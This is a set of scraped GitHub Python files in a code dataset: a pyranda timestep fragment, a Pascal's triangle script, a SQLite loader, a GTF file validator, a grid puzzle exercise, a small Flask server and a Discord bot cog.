\"self.packages['Timestep'].diff(\"\n sMap['dt.diffDir('] = \"self.packages['Timestep'].diffDir(\"\n self.sMap = sMap\n\n def courant(self,u,v,w,c):\n\n # Compute the dt for the courant limit\n if self.pysim.mesh.coordsys == 3:\n dAdx = self.pysim.getVar(\"dAx\")\n dAdy = self.pysim.getVar(\"dAy\")\n dBdx = self.pysim.getVar(\"dBx\")\n dBdy = self.pysim.getVar(\"dBy\")\n magA = numpy.sqrt( dAdx*dAdx + dAdy*dAdy )\n magB = numpy.sqrt( dBdx*dBdx + dBdy*dBdy )\n uA = ( u*dAdx + v*dAdy ) / magA\n uB = ( u*dBdx + v*dBdy ) / magB\n vrate = ( numpy.abs(uA) / self.pysim.getVar('d1') +\n numpy.abs(uB) / self.pysim.getVar('d2') )\n\n else:\n vrate = ( numpy.abs(u) / self.dx +\n numpy.abs(v) / self.dy +\n numpy.abs(w) / self.dz )\n \n \n crate = numpy.abs(c) / self.GridLen\n\n dt_max = 1.0 / self.pyranda.PyMPI.max3D(vrate + crate)\n\n return dt_max\n \n \n\n def diff(self,bulk,density):\n\n delta = self.GridLen\n drate = density * delta * delta / numpy.maximum( 1.0e-12, bulk )\n dt_max = self.pyranda.PyMPI.min3D( drate )\n\n return dt_max\n\n\n def diffDir(self,bulk,density,delta):\n\n drate = density * delta * delta / numpy.maximum( 1.0e-12, bulk )\n dt_max = self.pyranda.PyMPI.min3D( drate )\n\n return dt_max\n\n \n \n","repo_name":"curiousTauseef/pyranda","sub_path":"pyranda/pyrandaTimestep.py","file_name":"pyrandaTimestep.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"16720208200","text":"def pascal(size):\r\n arr1 = [1]\r\n arr2 = []\r\n for i in range(size):\r\n for j in range(i+1):\r\n if j == 0:\r\n val = arr1[j]\r\n elif j == i:\r\n val = arr1[j-1]\r\n else:\r\n val = arr1[j] + arr1[j-1]\r\n arr2.append(val)\r\n show(size,arr2)\r\n arr1 = arr2\r\n arr2 = []\r\n size-=1\r\n\r\n\r\ndef show(size,arr2):\r\n #space = (size*2)-1\r\n for s in range(size-1):\r\n print(\" \", end=\" \")\r\n for l in range(len(arr2)):\r\n print(arr2[l],end=\" \")\r\n print(\" \",end=\" \")\r\n print(\"\")\r\n\r\n\r\nsize = int(input(\"Enter the Size: \"))\r\npascal(size)","repo_name":"keen-sagar/keen-sagar","sub_path":"Problem Statements/Pascal's Triangle.py","file_name":"Pascal's Triangle.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21980901408","text":"import sqlite3\nimport uuid\nimport pandas as pd\n\nmiceDF = pd.read_csv('asmUsed.csv')\n\nconn = sqlite3.connect('mice.db')\nc = conn.cursor()\n\nvals = 'msid', 'gender', 'geno', 'birthdate', 'ear', 'mom', 'dad', 'cage', 'notes', 'termination'\n\nsql = f\"INSERT INTO used VALUES (?{',?' * len(vals)}, ?)\"\n\nfor i, data in enumerate(miceDF.iloc):\n param = [uuid.uuid4().hex]\n for s in vals:\n if data[s] is None:\n param.append(None)\n continue\n param.append(f\"{data[s]}\")\n param.append('asm')\n c.execute(sql, param)\n conn.commit()\n\nconn.close()\n\nprint(\"Done.\")\n","repo_name":"jwang1122/mice","sub_path":"data/insertUsed.py","file_name":"insertUsed.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40584578175","text":"# -*- coding: utf-8 -*-\n# __author__ = fiona\n# time: 2017/3/10 18:08\n\n\nimport re, Bio, urllib2, regex, os\nimport subprocess\nfrom biocluster.iofile import File\nfrom collections import defaultdict\nfrom biocluster.config import Config\nfrom biocluster.core.exceptions import FileError\n\n'''\ngtf:gene transefer format\n格式说明地址:http://mblab.wustl.edu/GTF22.html\n\n\n'''\n\n\ndef check_seq_type(seq_type):\n return True\n\n\ndef dict_factory():\n return defaultdict(dict_factory)\n\ndef get_gene_list(gtf):\n gene_list = {}\n with open(gtf, \"r\") as file:\n for line in file:\n line = line.strip()\n tmp = line.split(\"\\t\")\n # print tmp[-1]\n m = re.match(\"transcript_id \\\"(.+)\\\";\\sgene_id \\\"(.+?)\\\";\", tmp[-1])\n if m:\n transcript_id = m.group(1)\n gene_id = m.group(2)\n if transcript_id not in gene_list.keys():\n gene_list[transcript_id] = gene_id\n return gene_list\n\n\nclass GtfFile(File):\n # def __init__(self, fasta): # fasta应为FastaFile对象\n def __init__(self): # fasta应为FastaFile对象\n super(GtfFile, self).__init__()\n self._validate_gtf_tool = 'validate_gtf.pl' # 此脚本\n # self._co_fasta = fasta\n self._contig_info = {}\n self._txpt_gene = {}\n self.gtf2bed_path = Config().SOFTWARE_DIR + \"/bioinfo/rna/scripts/gtf2bed.pl\"\n # self._check_log_file = ''\n # self._structure_hierachy = dict_factory()\n \n def check(self):\n super(GtfFile, self).check()\n if self.prop[\"path\"].endswith(\"gtf\"):\n return True\n # self.__check_skechy() # edited by shijin on 20170721 不适于第三列为gene的情况\n # self._check_chars()\n \n def check_format(self, fasta, so_file):\n \n pass\n \n def __check_skechy(self):\n '''\n\n 粗略检查: 检查各个字段的字符是否符合规范\n 1. tab分隔为9列\n 2. 第九列 两个必须有的:gene_id value ranscript_id value\n :return:\n '''\n for line in open(self.path):\n comment_m = regex.match(r'^#.+', line.strip())\n content_m = regex.match(\n r'^([^#]\\S*?)\\t+((\\S+)\\t+){7,7}((\\btranscript_id\\b|\\bgene_id\\b)\\s+?\\\"(\\S+?)\\\");.*((\\btranscript_id\\b|\\bgene_id\\b)\\s+?\\\"(\\S+?)\\\");(.*;)*$',\n line.strip())\n if content_m:\n if not {content_m.captures(5)[0], content_m.captures(8)[0]} == {'transcript_id', 'gene_id'}:\n raise FileError('line error: %s 第9列必须有转录本id和基因id记录', variables = (line.strip()), code = \"42200601\")\n continue\n if not (comment_m or content_m):\n raise FileError(\n 'line %s is illegal in gtf file %s: it is not comment line(start with #) or tab-delimeted 9 colomuns line(the No9 line must contain gene_id txptid ) ', variables = (\n line.strip(), self.path), code = \"42200602\")\n \n def check_in_detail(self, check_log_file):\n self.__check_skechy()\n # self.__check_hierachy()\n self.__check_gtf_bio_logic(check_log_file)\n \n def __check_gtf_bio_logic(self, log_file):\n '''\n 此方法使用validate_gtf.pl文件检查gtf以下内容\n :return:\n '''\n if self._validate_gtf_tool:\n # tmp_out_txpt = os.path.join(os.path.dirname(self.path), os.path.basename(self.path) + '_tmp_txpt.gtf')\n validate_gtf_cmd = 'perl {} -fsm {}'.format(self._validate_gtf_tool, self.path)\n open(log_file, 'wb').write(subprocess.check_output(validate_gtf_cmd, shell=True))\n else:\n raise FileError('gtf文件错误', code = \"42200603\")\n \n def _check_chars(self, merged=False):\n '''\n 基本检查: 检查各个字段的字符是否符合规范\n 1. tab分隔为9列\n 2. 第九列 两个必须有的:gene_id value ranscript_id value\n 3. 每一列符合他们应有的规范\n :return:\n '''\n # gene_txpt_exon_dic = defaultdict(dict)\n for line in open(self.path):\n comment_m = regex.match(r'^#.+', line.strip())\n content_m = regex.match(\n r'^([^#]\\S*?)\\t+((\\S+)\\t+){7}((.*;)*((transcript_id|gene_id)\\s+?\\\"(\\S+?)\\\");.*((transcript_id|gene_id)\\s+?\\\"(\\S+?)\\\");(.*;)*)$',\n line.strip())\n if not (comment_m or content_m):\n\n raise FileError(\"%s\", variables = (line), code = \"42200604\")\n \n if content_m:\n contig = content_m.captures(1)[0]\n seq_type = content_m.captures(2)[1].strip()\n start = content_m.captures(2)[2].strip()\n end = content_m.captures(2)[3].strip()\n frame = content_m.captures(2)[6].strip()\n strand = content_m.captures(2)[5].strip()\n contig_m = regex.match(r'^[\\w.:^*$@!+?-|]+$', contig) # contig的字符必须在[\\w.:^*$@!+?-|]之内\n seq_type_m = check_seq_type(seq_type) # seq_type必须在SO term集合之内\n start_m = regex.match(r'^\\d+$', start)\n end_m = regex.match(r'^\\d+$', end)\n frame_m = regex.match(r'^[\\.120]$', frame)\n strand_m = regex.match(r'^[\\.\\?\\-\\+]$', strand)\n desc = content_m.captures(4)[0]\n \n if merged:\n merged_m = regex.match(r'^.+?class_code \"\\w\";$', desc)\n if not merged_m:\n raise FileError('illegal merged gtf', code = \"42200605\")\n if not (contig_m and seq_type_m and start_m and frame_m and end_m and strand_m):\n raise FileError('line %s in gtf file %s is not legal.', variables = (line.strip(), self.path), code = \"42200606\")\n \n def __check_hierachy(self):\n '''\n 包含__check_chars的功能\n :return:\n '''\n for line in open(self.path):\n comment_m = regex.match(r'^#.+', line.strip())\n content_m = regex.match(\n r'^([^#]\\S*?)\\t+((\\S+)\\t+){7}(.*;)*((transcript_id|gene_id)\\s+?\\\"(\\S+?)\\\");.*((transcript_id|gene_id)\\s+?\\\"(\\S+?)\\\");(.*;)*$',\n line.strip())\n \n if not (comment_m or content_m or regex.match(r'^$', line.strip())):\n raise FileError(\n 'line %s in gtf file %s is not legal.', variables = (line.strip(), self.path), code = \"42200607\")\n \n if content_m:\n contig = content_m.captures(3)[0]\n seq_type = content_m.captures(3)[1]\n start = content_m.captures(3)[2]\n end = content_m.captures(3)[3]\n frame = content_m.captures(3)[5]\n strand = content_m.captures(3)[6]\n contig_m = regex.match(r'^[\\w.:^*$@!+?-|]+$', contig) # contig的字符必须在[\\w.:^*$@!+?-|]之内\n seq_type_m = check_seq_type(seq_type) #\n start_m = regex.match(r'^\\d+$', start)\n end_m = regex.match(r'^\\d+$', end)\n frame_m = regex.match(r'^[\\.120]$', frame)\n strand_m = regex.match(r'^[\\.\\?\\-\\+]$', strand)\n if not (contig_m and seq_type_m and start_m and frame_m and end_m and strand_m):\n raise FileError('line %s in gtf file %s is not legal.', variables = (line.strip(), self.path), code = \"42200608\")\n \n # self._structure_hierachy[contig][]\n \n def check_gtf_for_merge(self):\n '''\n 检查merged.gtf每一行的第九列\n :return:\n '''\n self._check_chars(merged=True)\n \n def to_bed(self):\n bed_path = os.path.split(self.prop['path'])[0]\n bed = os.path.join(bed_path, os.path.split(self.prop['path'])[1] + \".bed\")\n cmd = \"perl {} {} > {}\".format(self.gtf2bed_path, self.prop[\"path\"], bed)\n try:\n subprocess.check_output(cmd, shell=True)\n except subprocess.CalledProcessError:\n os.remove(bed)\n raise FileError(\"运行出错\", code = \"42200609\")\n pass\n \n def gtf_tbi(self):\n \n pass\n \n def get_txpt_gene_dic(self):\n for line in open(self.path):\n txpt_id = ''\n gene_id = ''\n content_m = regex.match(\n r'^([^#]\\S*?)\\t+((\\S+)\\t+){7}(.*;)*((transcript_id|gene_id)\\s+?\\\"(\\S+?)\\\");.*((transcript_id|gene_id)\\s+?\\\"(\\S+?)\\\");(.*;)*$',\n line.strip())\n if content_m:\n if 'transcript_id' in content_m.captures(6):\n txpt_id = content_m.captures(7)[0]\n gene_id = content_m.captures(10)[0]\n else:\n txpt_id = content_m.captures(10)[0]\n gene_id = content_m.captures(7)[0]\n if txpt_id:\n self._txpt_gene[txpt_id] = gene_id\n\n def gtf_patch(self, gtf):\n \"\"\"\n 将gffread的输出文件中,只有转录本id,没有gene_id的行,加入gene_id\n :param gtf: gffread的输出文件\n :return:\n \"\"\"\n gene_list = {}\n with open(gtf, \"r\") as file:\n for line in file:\n line = line.strip()\n tmp = line.split(\"\\t\")\n m = re.match(\"transcript_id \\\"(.+)\\\";\\sgene_id \\\"(.+?)\\\";\", tmp[-1])\n if m:\n transcript_id = m.group(1)\n gene_id = m.group(2)\n if transcript_id not in gene_list.keys():\n gene_list[transcript_id] = gene_id\n temp_gtf = os.path.split(self.prop[\"path\"])[0] + \"/tmp.gtf\"\n w = open(temp_gtf, \"w\")\n with open(self.prop[\"path\"], \"r\") as file:\n for line in file:\n line = line.strip()\n tmp = line.split(\"\\t\")\n if tmp[-1].find(\"gene_id\") == -1:\n m = re.match(\"transcript_id \\\"(.+?)\\\";\", tmp[-1])\n if m:\n t_id = m.group(1)\n if gene_id in gene_list.keys():\n gene_id = gene_list[t_id]\n elif re.match(\"transcript:(.+)\", t_id):\n t_id = re.match(\"transcript:(.+)\", t_id).group(1)\n if t_id in gene_list.keys():\n gene_id = gene_list[t_id]\n else:\n gene_id = t_id\n lst = tmp[-1].split(\";\")\n new_list = []\n for item in lst:\n new_list.append(item)\n if item.startswith(\"transcript_id\"):\n new_list.append(\" gene_id \\\"\" + gene_id +\"\\\"\")\n tmp[-1] = \";\".join(new_list)\n new_line = \"\\t\".join(tmp)\n w.write(new_line + \"\\n\")\n elif tmp[-1].find(\"transcript_id\") == -1:\n self.logger.info(\"there is no transcript id in {}\".format(line))\n else:\n w.write(line + \"\\n\")\n w.close()\n\n\nif __name__ == \"__main__\":\n gtf = GtfFile()\n gtf.set_path(\"/mnt/ilustre/users/sanger-dev/workspace/20170410/Single_assembly_module_tophat_stringtie_zebra/Assembly/assembly_newtranscripts/merged.gtf\")\n gtf.gtf_patch(\"/mnt/ilustre/users/sanger-dev/workspace/20170210/Refrna_refrna_test_01/FilecheckRef/Danio_rerio.GRCz10.85.gff3.gtf\")","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/files/gene_structure/gtf.py","file_name":"gtf.py","file_ext":"py","file_size_in_byte":11662,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"26417652905","text":"def main():\n def bomberMan(n, grid):\n print(r)\n if n == 1:\n return grid\n\n if n % 2 == 0:\n return ['O'*c for i in range(r)]\n\n n //= 2 \n\n for j in range((n+1) % 2 + 1):\n print(r)\n print(c)\n print(n)\n new_grid = [['O']*c for i in range(r)]\n print(new_grid)\n def set(x, y):\n if 0 <= x < r and 0 <= y < c:\n new_grid[x][y] = '.'\n\n xi = [0, 0, 0, 1, -1]\n yi = [0, -1, 1, 0, 0]\n\n for x in range(r):\n for y in range(c):\n if grid[x][y] == 'O':\n for i, q in zip(xi, yi):\n set(x+i, y+q)\n\n grid = new_grid\n print(new_grid)\n\n return [\"\".join(x) for x in grid]\n\n output = open(\"output\", 'w')\n f = open(\"input\", 'r')\n lines = f.readlines()\n grid_items = lines[1:]\n firstLine = lines[0].split()\n\n r = int(firstLine[0])\n c = int(firstLine[1])\n n = int(firstLine[2])\n print(r)\n print(c)\n print(n)\n\n grid = []\n\n for i in range(r):\n grid_item = grid_items[i]\n grid.append(grid_item)\n\n print(bomberMan(n, grid))\n result = bomberMan(n, grid)\n\n output.write('\\n'.join(result))\n output.write('\\n')\n output.close()\n\nif __name__ == \"__main__\":\n main()\n \n","repo_name":"zurii11/SweeftDigitalPython","sub_path":"Exercise3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9763593821","text":"from flask import Flask, request\nimport FinalData as ts\nimport json\nfrom flask_cors import CORS\nimport QMC as qm\nfrom flask import jsonify\n\napp = Flask(__name__)\nCORS(app)\ndat ={}\n@app.route('/')\ndef index():\n return 'Welcome to my Flask server!'\n\n@app.route('/GetData',methods=['GET'])\ndef get_data():\n global dat\n return jsonify(dat)\n\n@app.route('/data', methods=['POST'])\n\ndef insert_data():\n global dat \n if request.method == 'POST':\n data = json.loads(request.get_json())\n func={}\n for keys in data[1]:\n f = qm.QuineMcCluskey(data[1][keys],[]).split(\" = \")\n func[keys]=f[1]\n\n q=ts.obtainNodos(data[0])\n ts.SeparateGroupes(q)\n ts.DefineEqualNode(q)\n a,b=ts.createNewMachine(q)\n l=ts.SpNodes(q,a)\n sets = {}\n for i in range(len(l[0])):\n sets[l[0][i][0]]=l[0][i][1]\n # dat={l: str(l)}\n\n # dat={l: str(l)}\n dat = [sets,func]\n\n #Aca tengo que aplicar QM- metod\n \n #\n # Do something with the data, such as inserting it into a database\n #q= ts.obtainNodosMoore(newData)\n #ts.SeparateGroupesMoore(q)\n #ts.DefineEqualNodesMoore(q)\n #a,b= ts.createNewMachineMoore (q)\n #l=ts.specif1yNodes(q,a)\n #for i in l:\n # dat[i.Actual]=i.NextState\n #print(dat)\n return jsonify({'fo': 'br', 'baz': 123})\n else :\n return \"error\"\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"tonoRodriguez/TesisTono","sub_path":"flask-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10298005364","text":"import os\nimport youtube_dl\nimport asyncio\nimport discord\nimport random\nimport string\nfrom discord.ext import commands\n\nneko = open('neko.txt', 'r').read().split('\\n')\n\nclass eve(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n\n @commands.Cog.listener(name='on_command_error')\n async def OCE(self, ctx, err):\n if isinstance(err, commands.CommandOnCooldown):\n retry_after_int = int(err.retry_after)\n retry_minute = retry_after_int // 60\n retry_second = retry_after_int % 60\n embed1 = discord.Embed(title=\"クールダウン中です。\", description=\"慌てるのはよくないにゃん!!\")\n embed1.add_field(name=\"詳細\", value=f\"`{retry_minute}分{retry_second}秒` 待つにゃん^^\")\n await ctx.send(embed=embed1)\n return\n else:\n print(err)\n \n @commands.Cog.listener(name='on_message_edit')\n async def OME(self, before, after):\n #up通知\n if after.author.id == 761562078095867916:\n ch = after.channel\n if \"をアップしたよ!\" in after.embeds[0].fields[0].name:\n embed_done = discord.Embed(title=\"Upを検知したにゃん!\", color=0xffffff, description=\"次にUpできる時間になったら教えるにゃん♡\")\n await ch.send(embed=embed_done)\n else:\n return\n await asyncio.sleep(3610)\n embed_up = discord.Embed(title=\"Upできる時間にゃん^^\", color=discord.Colour.orange(), description=\"`/dissoku up`しようにゃ!!\")\n await ch.send(embed=embed_up)\n return \n \n @commands.Cog.listener(name='on_message')\n async def OM(self, message):\n #bump通知\n if message.author.id == 302050872383242240:\n ch = message.channel\n if \"表示順をアップしたよ\" in message.embeds[0].description:\n embed_done = discord.Embed(title=\"Bumpを検知したにゃん!\", color=0xffffff, description=\"次にBumpできる時間になったら教えるにゃん♡\")\n await ch.send(embed=embed_done)\n else:\n return\n await asyncio.sleep(7210)\n embed_bump = discord.Embed(title=\"Bumpできる時間にゃん^^\", color=discord.Colour.orange(), description=\"`/bump`しようにゃ!!\")\n await ch.send(embed=embed_bump)\n return\n \n #普通のOM\n if message.author.bot:\n return\n elif \"にゃん\" in message.content:\n\t msg = random.choice(neko)\n\t await message.reply(msg)\n\t return\n elif \"にゃむ\" in message.content:\n await message.channel.send(\"にゃむにゃむ♡\")\n return\n elif \"にゃ~ん\" in message.content:\n\t msg = random.choice(neko)\n\t await message.reply(msg)\n\t return\n elif \"にゃ〜ん\" in message.content:\n\t msg = random.choice(neko)\n\t await message.reply(msg)\n\t return\n \n\ndef setup(bot):\n bot.add_cog(eve(bot))","repo_name":"Raimu-root/Loli-Cat-","sub_path":"data/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}